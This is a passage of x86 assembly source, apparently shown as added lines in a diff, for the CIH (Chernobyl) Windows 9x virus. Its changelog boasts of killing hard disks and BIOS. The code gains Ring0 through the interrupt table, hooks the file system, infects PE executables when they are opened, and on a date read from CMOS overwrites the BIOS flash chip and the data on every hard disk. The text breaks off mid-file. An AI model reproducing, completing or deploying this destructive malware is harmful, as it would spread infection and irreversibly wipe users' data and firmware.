* it will Jmup to Original Application to Run. * +; * 3. Use Better Algorithm, Reduce Virus Code Size. * +; * 4. The Virus "Basic" Size is only 796 Bytes. * +; *==========================================================================* +; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * +; * 2. Modify the Bug of v1.1 * +; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. * +; *==========================================================================* +; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. * +; * So When Open WinZip Self-Extractor ==> Don't Infect it. * +; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. * +; *==========================================================================* +; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. * +; * 2. Change the Date of Killing Computers. * +; * 05/31/1998 3. Modify Virus Version Copyright. * +; * 4. The Virus "Basic" Size is 1019 Bytes. * +; **************************************************************************** +; * v1.5 1. Full Modify the Bug : Change Harddisk Killing Port * +; * 2. Modify Virus Version Copyright. * +; * 06/01/1998 3. Clear Garbage in Source Code. * +; * 4. The Virus "Small" Size in 10xx Bytes. * +; **************************************************************************** + + .586 + +; **************************************************************************** +; * Original PE Executable File(Don't Modify this Section) * +; **************************************************************************** + +OriginalAppEXE SEGMENT + +FileHeader: + db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h + db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h + db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h + db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh + db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h + db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h + db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh + db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh + db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h + db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah + db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h + db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h + db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h + db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h + db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h + db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h + db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h + db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h + db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h + db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + dd 00000000h, VirusSize + +OriginalAppEXE ENDS + +; **************************************************************************** +; * My Virus Game * +; **************************************************************************** + +; ********************************************************* +; * Constant Define * +; ********************************************************* + +TRUE = 1 +FALSE = 0 + +DEBUG = TRUE + +IF DEBUG + + FirstKillHardDiskNumber = 82h + HookExceptionNumber = 06h + +ELSE + + FirstKillHardDiskNumber = 81h + HookExceptionNumber = 04h + +ENDIF + + +FileNameBufferSize = 7fh + +; ********************************************************* +; ********************************************************* + +VirusGame SEGMENT + + ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame + ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame + +; ********************************************************* +; * Ring3 Virus Game Initial Program * +; ********************************************************* + +MyVirusStart: + push ebp + +; ************************************* +; * Let's Modify Structured Exception * +; * Handing, Prevent Exception Error * +; * Occurrence, Especially in NT. * +; ************************************* + + lea eax, [esp-04h*2] + xor ebx, ebx + xchg eax, fs:[ebx] + call @0 +@0: + pop ebx + lea ecx, StopToRunVirusCode-@0[ebx] + push ecx + push eax + +; ************************************* +; * Let's Modify * +; * IDT(Interrupt Descriptor Table) * +; * to Get Ring0 Privilege... * +; ************************************* + + push eax ; + sidt [esp-02h] ; Get IDT Base Address + pop ebx ; + add ebx, HookExceptionNumber*08h+04h ; ZF = 0 + cli + mov ebp, [ebx] ; Get Exception Base + mov bp, [ebx-04h] ; Entry Point + lea esi, MyExceptionHook-@1[ecx] + push esi + mov [ebx-04h], si ; + shr esi, 16 ; Modify Exception + mov [ebx+02h], si ; Entry Point Address + pop esi + +; ************************************* +; * Generate Exception to Get Ring0 * +; ************************************* + + int HookExceptionNumber ; GenerateException +ReturnAddressOfEndException = $ + +; ************************************* +; * Merge All Virus Code Section * +; ************************************* + + push esi + mov esi, eax + +LoopOfMergeAllVirusCodeSection: + + mov ecx, [eax-04h] + rep movsb + sub eax, 08h + mov esi, [eax] + or esi, esi + jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 + jmp LoopOfMergeAllVirusCodeSection + +QuitLoopOfMergeAllVirusCodeSection: + + pop esi + +; ************************************* +; * Generate Exception Again * +; ************************************* + + int HookExceptionNumber ; GenerateException Again + +; ************************************* +; * Let's Restore * +; * Structured Exception Handing * +; ************************************* + +ReadyRestoreSE: + sti + xor ebx, ebx + jmp RestoreSE + +; ************************************* +; * When Exception Error Occurs, * +; * Our OS System should be in NT. * +; * So My Cute Virus will not * +; * Continue to Run, it Jmups to * +; * Original Application to Run. * +; ************************************* + +StopToRunVirusCode: +@1 = StopToRunVirusCode + + xor ebx, ebx + mov eax, fs:[ebx] + mov esp, [eax] + +RestoreSE: + pop dword ptr fs:[ebx] + pop eax + +; ************************************* +; * Return Original App to Execute * +; ************************************* + + pop ebp + push 00401000h ; Push Original +OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack + ret ; Return to Original App Entry Point + +; ********************************************************* +; * Ring0 Virus Game Initial Program * +; ********************************************************* + +MyExceptionHook: +@2 = MyExceptionHook + jz InstallMyFileSystemApiHook + +; ************************************* +; * Do My Virus Exist in System !? * +; ************************************* + + mov ecx, dr0 + jecxz AllocateSystemMemoryPage + add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException + +; ************************************* +; * Return to Ring3 Initial Program * +; ************************************* + +ExitRing0Init: + mov [ebx-04h], bp ; + shr ebp, 16 ; Restore Exception + mov [ebx+02h], bp ; + iretd + +; ************************************* +; * Allocate SystemMemory Page to Use * +; ************************************* + +AllocateSystemMemoryPage: + + mov dr0, ebx ; Set the Mark of My Virus Exist in System + push 00000000fh ; + push ecx ; + push 0ffffffffh ; + push ecx ; + push ecx ; + push ecx ; + push 000000001h ; + push 000000002h ; + int 20h ; VMMCALL _PageAllocate +_PageAllocate = $ ; + dd 00010053h ; Use EAX, ECX, EDX, and flags + add esp, 08h*04h + xchg edi, eax ; EDI = SystemMemory Start Address + lea eax, MyVirusStart-@2[esi] + iretd ; Return to Ring3 Initial Program + +; ************************************* +; * Install My File System Api Hook * +; ************************************* + +InstallMyFileSystemApiHook: + + lea eax, FileSystemApiHook-@6[edi] + + push eax ; + int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook +IFSMgr_InstallFileSystemApiHook = $ + dd 00400067h ; Use EAX, ECX, EDX, and flags + mov dr0, eax ; Save OldFileSystemApiHook Address + pop eax ; EAX = FileSystemApiHook Address + ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point + mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] + mov edx, [ecx] + mov OldInstallFileSystemApiHook-@3[eax], edx + ; Modify IFSMgr_InstallFileSystemApiHook Entry Point + lea eax, InstallFileSystemApiHook-@3[eax] + mov [ecx], eax + cli + jmp ExitRing0Init + +; ********************************************************* +; * Code Size of Merge Virus Code Section * +; ********************************************************* + +CodeSizeOfMergeVirusCodeSection = offset $ + +; ********************************************************* +; * IFSMgr_InstallFileSystemApiHook * +; ********************************************************* + +InstallFileSystemApiHook: + push ebx + call @4 ; +@4: ; + pop ebx ; mov ebx, offset FileSystemApiHook + add ebx, FileSystemApiHook-@4 ; + push ebx + int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook +IFSMgr_RemoveFileSystemApiHook = $ + dd 00400068h ; Use EAX, ECX, EDX, and flags + pop eax + ; Call Original IFSMgr_InstallFileSystemApiHook + ; to Link Client FileSystemApiHook + push dword ptr [esp+8] + call OldInstallFileSystemApiHook-@3[ebx] + pop ecx + push eax + ; Call Original IFSMgr_InstallFileSystemApiHook + ; to Link My FileSystemApiHook + push ebx + call OldInstallFileSystemApiHook-@3[ebx] + pop ecx + mov dr0, eax ; Adjust OldFileSystemApiHook Address + pop eax + pop ebx + ret + +; ********************************************************* +; * Static Data * +; ********************************************************* + +OldInstallFileSystemApiHook dd ? + +; ********************************************************* +; * IFSMgr_FileSystemHook * +; ********************************************************* + +; ************************************* +; * IFSMgr_FileSystemHook Entry Point * +; ************************************* + +FileSystemApiHook: +@3 = FileSystemApiHook + + pushad + call @5 ; +@5: ; + pop esi ; mov esi, offset VirusGameDataStartAddress + add esi, VirusGameDataStartAddress-@5 + +; ************************************* +; * Is OnBusy !? * +; ************************************* + + test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) + jnz pIFSFunc ; goto pIFSFunc + +; ************************************* +; * Is OpenFile !? * +; ************************************* + + ; if ( NotOpenFile ) + ; goto prevhook + lea ebx, [esp+20h+04h+04h] + cmp dword ptr [ebx], 00000024h + jne prevhook + +; ************************************* +; * Enable OnBusy * +; ************************************* + + inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy + +; ************************************* +; * Get FilePath's DriveNumber, * +; * then Set the DriveName to * +; * FileNameBuffer. * +; ************************************* +; * Ex. If DriveNumber is 03h, * +; * DriveName is 'C:'. * +; ************************************* + + add esi, FileNameBuffer-@6 + push esi + mov al, [ebx+04h] + cmp al, 0ffh + je CallUniToBCSPath + add al, 40h + mov ah, ':' + mov [esi], eax + inc esi + inc esi + +; ************************************* +; * UniToBCSPath * +; ************************************* +; * This Service Converts * +; * a Canonicalized Unicode Pathname * +; * to a Normal Pathname in the * +; * Specified BCS Character Set. * +; ************************************* + +CallUniToBCSPath: + push 00000000h + push FileNameBufferSize + mov ebx, [ebx+10h] + mov eax, [ebx+0ch] + add eax, 04h + push eax + push esi + int 20h ; VXDCall UniToBCSPath +UniToBCSPath = $ + dd 00400041h + add esp, 04h*04h + +; ************************************* +; * Is FileName '.EXE' !? * +; ************************************* + + cmp [esi+eax-04h], 'EXE.' + pop esi + jne DisableOnBusy + +IF DEBUG + +; ************************************* +; * Only for Debug * +; ************************************* + + cmp [esi+eax-06h], 'KCUF' + jne DisableOnBusy + +ENDIF + +; ************************************* +; * Is Open Existing File !? * +; ************************************* + + ; if ( NotOpenExistingFile ) + ; goto DisableOnBusy + cmp word ptr [ebx+18h], 01h + jne DisableOnBusy + +; ************************************* +; * Get Attributes of the File * +; ************************************* + + mov ax, 4300h + int 20h ; VXDCall IFSMgr_Ring0_FileIO +IFSMgr_Ring0_FileIO = $ + dd 00400032h + jc DisableOnBusy + push ecx + +; ************************************* +; * Get IFSMgr_Ring0_FileIO Address * +; ************************************* + + mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] + mov edi, [edi] + +; ************************************* +; * Is Read-Only File !? * +; ************************************* + + test cl, 01h + jz OpenFile + +; ************************************* +; * Modify Read-Only File to Write * +; ************************************* + + mov ax, 4301h + xor ecx, ecx + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Open File * +; ************************************* + +OpenFile: + xor eax, eax + mov ah, 0d5h + xor ecx, ecx + xor edx, edx + inc edx + mov ebx, edx + inc ebx + call edi ; VXDCall IFSMgr_Ring0_FileIO + xchg ebx, eax ; mov ebx, FileHandle + +; ************************************* +; * Need to Restore * +; * Attributes of the File !? * +; ************************************* + + pop ecx + pushf + test cl, 01h + jz IsOpenFileOK + +; ************************************* +; * Restore Attributes of the File * +; ************************************* + + mov ax, 4301h + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Is Open File OK !? * +; ************************************* + +IsOpenFileOK: + popf + jc DisableOnBusy + +; ************************************* +; * Open File Already Succeed. ^__^ * +; ************************************* + + push esi ; Push FileNameBuffer Address to Stack + + pushf ; Now CF = 0, Push Flag to Stack + + add esi, DataBuffer-@7 ; mov esi, offset DataBuffer + +; *************************** +; * Get OffsetToNewHeader * +; *************************** + + xor eax, eax + mov ah, 0d6h + ; For Doing Minimal VirusCode's Length, + ; I Save EAX to EBP. + mov ebp, eax + push 00000004h + pop ecx + push 0000003ch + pop edx + call edi ; VXDCall IFSMgr_Ring0_FileIO + mov edx, [esi] + +; *************************** +; * Get 'PE\0' Signature * +; * of ImageFileHeader, and * +; * Infected Mark. * +; *************************** + + dec edx + mov eax, ebp + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Is PE !? * +; *************************** +; * Is the File * +; * Already Infected !? * +; *************************** +; * WinZip Self-Extractor * +; * doesn't Have Infected * +; * Mark Because My Virus * +; * doesn't Infect it. * +; *************************** + + cmp dword ptr [esi], 00455000h + jne CloseFile + +; ************************************* +; * The File is ^o^ * +; * PE(Portable Executable) indeed. * +; ************************************* +; * The File isn't also Infected. * +; ************************************* + +; ************************************* +; * Start to Infect the File * +; ************************************* +; * Registers Use Status Now : * +; * * +; * EAX = 04h * +; * EBX = File Handle * +; * ECX = 04h * +; * EDX = 'PE\0\0' Signature of * +; * ImageFileHeader Pointer's * +; * Former Byte. * +; * ESI = DataBuffer Address ==> @8 * +; * EDI = IFSMgr_Ring0_FileIO Address * +; * EBP = D600h ==> Read Data in File * +; ************************************* +; * Stack Dump : * +; * * +; * ESP => ------------------------- * +; * | EFLAG(CF=0) | * +; * ------------------------- * +; * | FileNameBufferPointer | * +; * ------------------------- * +; * | EDI | * +; * ------------------------- * +; * | ESI | * +; * ------------------------- * +; * | EBP | * +; * ------------------------- * +; * | ESP | * +; * ------------------------- * +; * | EBX | * +; * ------------------------- * +; * | EDX | * +; * ------------------------- * +; * | ECX | * +; * ------------------------- * +; * | EAX | * +; * ------------------------- * +; * | Return Address | * +; * ------------------------- * +; ************************************* + + push ebx ; Save File Handle + push 00h ; Set VirusCodeSectionTableEndMark + +; *************************** +; * Let's Set the * +; * Virus' Infected Mark * +; *************************** + + push 01h ; Size + push edx ; Pointer of File + push edi ; Address of Buffer + +; *************************** +; * Save ESP Register * +; *************************** + + mov dr1, esp + +; *************************** +; * Let's Set the * +; * NewAddressOfEntryPoint * +; * ( Only First Set Size ) * +; *************************** + + push eax ; Size + +; *************************** +; * Let's Read * +; * Image Header in File * +; *************************** + + mov eax, ebp + mov cl, SizeOfImageHeaderToRead + add edx, 07h ; Move EDX to NumberOfSections + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Let's Set the * +; * NewAddressOfEntryPoint * +; * ( Set Pointer of File, * +; * Address of Buffer ) * +; *************************** + + lea eax, (AddressOfEntryPoint-@8)[edx] + push eax ; Pointer of File + lea eax, (NewAddressOfEntryPoint-@8)[esi] + push eax ; Address of Buffer + +; *************************** +; * Move EDX to the Start * +; * of SectionTable in File * +; *************************** + + movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] + lea edx, [eax+edx+12h] + +; *************************** +; * Let's Get * +; * Total Size of Sections * +; *************************** + + mov al, SizeOfScetionTable + ; I Assume NumberOfSections <= 0ffh + mov cl, (NumberOfSections-@8)[esi] + mul cl + +; *************************** +; * Let's Set Section Table * +; *************************** + + ; Move ESI to the Start of SectionTable + lea esi, (StartOfSectionTable-@8)[esi] + push eax ; Size + push edx ; Pointer of File + push esi ; Address of Buffer + +; *************************** +; * The Code Size of Merge * +; * Virus Code Section and * +; * Total Size of Virus * +; * Code Section Table Must * +; * be Small or Equal the * +; * Unused Space Size of * +; * Following Section Table * +; *************************** + + inc ecx + push ecx ; Save NumberOfSections+1 + shl ecx, 03h + push ecx ; Save TotalSizeOfVirusCodeSectionTable + + add ecx, eax + add ecx, edx + sub ecx, (SizeOfHeaders-@9)[esi] + not ecx + inc ecx + ; Save My Virus First Section Code + ; Size of Following Section Table... + ; ( Not Include the Size of Virus Code Section Table ) + push ecx + xchg ecx, eax ; ECX = Size of Section Table + ; Save Original Address of Entry Point + mov eax, (AddressOfEntryPoint-@9)[esi] + add eax, (ImageBase-@9)[esi] + mov (OriginalAddressOfEntryPoint-@9)[esi], eax + cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection + jl OnlySetInfectedMark + +; *************************** +; * Read All Section Tables * +; *************************** + + mov eax, ebp + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Full Modify the Bug : * +; * WinZip Self-Extractor * +; * Occurs Error... * +; *************************** +; * So When User Opens * +; * WinZip Self-Extractor, * +; * Virus Doesn't Infect it.* +; *************************** +; * First, Virus Gets the * +; * PointerToRawData in the * +; * Second Section Table, * +; * Reads the Section Data, * +; * and Tests the String of * +; * 'WinZip(R)'...... * +; *************************** + + xchg eax, ebp + push 00000004h + pop ecx + push edx + mov edx, (SizeOfScetionTable+PointerToRawData-@9)[esi] + add edx, 12h + call edi ; VXDCall IFSMgr_Ring0_FileIO + cmp dword ptr [esi], 'piZniW' + je NotSetInfectedMark + pop edx + +; *************************** +; * Let's Set Total Virus * +; * Code Section Table * +; *************************** + + ; EBX = My Virus First Section Code + ; Size of Following Section Table + pop ebx + pop edi ; EDI = TotalSizeOfVirusCodeSectionTable + pop ecx ; ECX = NumberOfSections+1 + push edi ; Size + add edx, ebp + push edx ; Pointer of File + add ebp, esi + push ebp ; Address of Buffer + +; *************************** +; * Set the First Virus * +; * Code Section Size in * +; * VirusCodeSectionTable * +; *************************** + + lea eax, [ebp+edi-04h] + mov [eax], ebx + +; *************************** +; * Let's Set My Virus * +; * First Section Code * +; *************************** + + push ebx ; Size + add edx, edi + push edx ; Pointer of File + lea edi, (MyVirusStart-@9)[esi] + push edi ; Address of Buffer + +; *************************** +; * Let's Modify the * +; * AddressOfEntryPoint to * +; * My Virus Entry Point * +; *************************** + + mov (NewAddressOfEntryPoint-@9)[esi], edx + +; *************************** +; * Setup Initial Data * +; *************************** + + lea edx, [esi-SizeOfScetionTable] + mov ebp, offset VirusSize + jmp StartToWriteCodeToSections + +; *************************** +; * Write Code to Sections * +; *************************** + +LoopOfWriteCodeToSections: + + add edx, SizeOfScetionTable + mov ebx, (SizeOfRawData-@9)[edx] + sub ebx, (VirtualSize-@9)[edx] + jbe EndOfWriteCodeToSections + push ebx ; Size + sub eax, 08h + mov [eax], ebx + mov ebx, (PointerToRawData-@9)[edx] + add ebx, (VirtualSize-@9)[edx] + push ebx ; Pointer of File + push edi ; Address of Buffer + mov ebx, (VirtualSize-@9)[edx] + add ebx, (VirtualAddress-@9)[edx] + add ebx, (ImageBase-@9)[esi] + mov [eax+4], ebx + mov ebx, [eax] + add (VirtualSize-@9)[edx], ebx + + ; Section contains initialized data ==> 00000040h + ; Section can be Read. ==> 40000000h + or (Characteristics-@9)[edx], 40000040h + +StartToWriteCodeToSections: + + sub ebp, ebx + jbe SetVirusCodeSectionTableEndMark + add edi, ebx ; Move Address of Buffer + +EndOfWriteCodeToSections: + + loop LoopOfWriteCodeToSections + +; *************************** +; * Only Set Infected Mark * +; *************************** + +OnlySetInfectedMark: + mov esp, dr1 + jmp WriteVirusCodeToFile + +; *************************** +; * Not Set Infected Mark * +; *************************** + +NotSetInfectedMark: + add esp, 3ch + jmp CloseFile + +; *************************** +; * Set Virus Code * +; * Section Table End Mark * +; *************************** + +SetVirusCodeSectionTableEndMark: + + ; Adjust Size of Virus Section Code to Correct Value + add [eax], ebp + add [esp+08h], ebp + + ; Set End Mark + xor ebx, ebx + mov [eax-04h], ebx + +; *************************** +; * When VirusGame Calls * +; * VxDCall, VMM Modifies * +; * the 'int 20h' and the * +; * 'Service Identifier' * +; * to 'Call [XXXXXXXX]'. * +; *************************** +; * Before Writing My Virus * +; * to File, I Must Restore * +; * them First. ^__^ * +; *************************** + + lea eax, (LastVxDCallAddress-2-@9)[esi] + mov cl, VxDCallTableSize + +LoopOfRestoreVxDCallID: + mov word ptr [eax], 20cdh + mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] + mov [eax+2], edx + movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] + sub eax, edx + loop LoopOfRestoreVxDCallID + +; *************************** +; * Let's Write * +; * Virus Code to the File * +; *************************** + +WriteVirusCodeToFile: + mov eax, dr1 + mov ebx, [eax+10h] + mov edi, [eax] + +LoopOfWriteVirusCodeToFile: + + pop ecx + jecxz SetFileModificationMark + mov esi, ecx + mov eax, 0d601h + pop edx + pop ecx + call edi ; VXDCall IFSMgr_Ring0_FileIO + jmp LoopOfWriteVirusCodeToFile + +; *************************** +; * Let's Set CF = 1 ==> * +; * Need to Restore File * +; * Modification Time * +; *************************** + +SetFileModificationMark: + pop ebx + pop eax + stc ; Enable CF(Carry Flag) + pushf + +; ************************************* +; * Close File * +; ************************************* + +CloseFile: + xor eax, eax + mov ah, 0d7h + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Need to Restore File Modification * +; * Time !? * +; ************************************* + + popf + pop esi + jnc IsKillComputer + +; ************************************* +; * Restore File Modification Time * +; ************************************* + + mov ebx, edi + mov ax, 4303h + mov ecx, (FileModificationTime-@7)[esi] + mov edi, (FileModificationTime+2-@7)[esi] + call ebx ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Disable OnBusy * +; ************************************* + +DisableOnBusy: + dec byte ptr (OnBusy-@7)[esi] ; Disable OnBusy + +; ************************************* +; * Call Previous FileSystemApiHook * +; ************************************* + +prevhook: + popad + mov eax, dr0 ; + jmp [eax] ; Jump to prevhook + +; ************************************* +; * Call the Function that the IFS * +; * Manager Would Normally Call to * +; * Implement this Particular I/O * +; * Request. * +; ************************************* + +pIFSFunc: + mov ebx, esp + push dword ptr [ebx+20h+04h+14h] ; Push pioreq + call [ebx+20h+04h] ; Call pIFSFunc + pop ecx ; + mov [ebx+1ch], eax ; Modify EAX Value in Stack + +; *************************** +; * After Calling pIFSFunc, * +; * Get Some Data from the * +; * Returned pioreq. * +; *************************** + + cmp dword ptr [ebx+20h+04h+04h], 00000024h + jne QuitMyVirusFileSystemHook + +; ***************** +; * Get the File * +; * Modification * +; * Date and Time * +; * in DOS Format.* +; ***************** + + mov eax, [ecx+28h] + mov (FileModificationTime-@6)[esi], eax + +; *************************** +; * Quit My Virus' * +; * IFSMgr_FileSystemHook * +; *************************** + +QuitMyVirusFileSystemHook: + + popad + ret + +; ************************************* +; * Kill Computer !? ... *^_^* * +; ************************************* + +IsKillComputer: + ; Get Now Day from BIOS CMOS + mov al, 07h + out 70h, al + in al, 71h + xor al, 01h ; ??/26/???? + +IF DEBUG + jmp DisableOnBusy +ELSE + jnz DisableOnBusy +ENDIF + +; ************************************** +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; ************************************** + +; *************************** +; * Kill BIOS EEPROM * +; *************************** + + mov bp, 0cf8h + lea esi, IOForEEPROM-@7[esi] + +; *********************** +; * Show BIOS Page in * +; * 000E0000 - 000EFFFF * +; * ( 64 KB ) * +; *********************** + + mov edi, 8000384ch + mov dx, 0cfeh + cli + call esi + +; *********************** +; * Show BIOS Page in * +; * 000F0000 - 000FFFFF * +; * ( 64 KB ) * +; *********************** + + mov di, 0058h + dec edx ; and al,0fh + mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h + call esi + +; *********************** +; * Show the BIOS Extra * +; * ROM Data in Memory * +; * 000E0000 - 000E01FF * +; * ( 512 Bytes ) * +; * , and the Section * +; * of Extra BIOS can * +; * be Writted... * +; *********************** + + lea ebx, EnableEEPROMToWrite-@10[esi] + mov eax, 0e5555h + mov ecx, 0e2aaah + call ebx + mov byte ptr [eax], 60h + push ecx + loop $ + +; *********************** +; * Kill the BIOS Extra * +; * ROM Data in Memory * +; * 000E0000 - 000E007F * +; * ( 80h Bytes ) * +; *********************** + + xor ah, ah + mov [eax], al + + xchg ecx, eax + loop $ + +; *********************** +; * Show and Enable the * +; * BIOS Main ROM Data * +; * 000E0000 - 000FFFFF * +; * ( 128 KB ) * +; * can be Writted... * +; *********************** + + mov eax, 0f5555h + pop ecx + mov ch, 0aah + call ebx + mov byte ptr [eax], 20h + + loop $ + +; *********************** +; * Kill the BIOS Main * +; * ROM Data in Memory * +; * 000FE000 - 000FE07F * +; * ( 80h Bytes ) * +; *********************** + + mov ah, 0e0h + mov [eax], al + +; *********************** +; * Hide BIOS Page in * +; * 000F0000 - 000FFFFF * +; * ( 64 KB ) * +; *********************** + ; or al,10h + mov word ptr (BooleanCalculateCode-@10)[esi], 100ch + call esi + +; *************************** +; * Kill All HardDisk * +; *************************************************** +; * IOR Structure of IOS_SendCommand Needs * +; *************************************************** +; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * +; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * +; *************************************************** + +KillHardDisk: + xor ebx, ebx + mov bh, FirstKillHardDiskNumber + push ebx + sub esp, 2ch + push 0c0001000h + mov bh, 08h + push ebx + push ecx + push ecx + push ecx + push 40000501h + inc ecx + push ecx + push ecx + mov esi, esp + sub esp, 0ach + +LoopOfKillHardDisk: + int 20h + dd 00100004h ; VXDCall IOS_SendCommand + cmp word ptr [esi+06h], 0017h + je KillNextDataSection + +ChangeNextHardDisk: + inc byte ptr [esi+4dh] + jmp LoopOfKillHardDisk + +KillNextDataSection: + add dword ptr [esi+10h], ebx + mov byte ptr [esi+4dh], FirstKillHardDiskNumber + jmp LoopOfKillHardDisk + +; *************************** +; * Enable EEPROM to Write * +; *************************** + +EnableEEPROMToWrite: + mov [eax], cl + mov [ecx], al + mov byte ptr [eax], 80h + mov [eax], cl + mov [ecx], al + ret + +; *************************** +; * IO for EEPROM * +; *************************** + +IOForEEPROM: +@10 = IOForEEPROM + 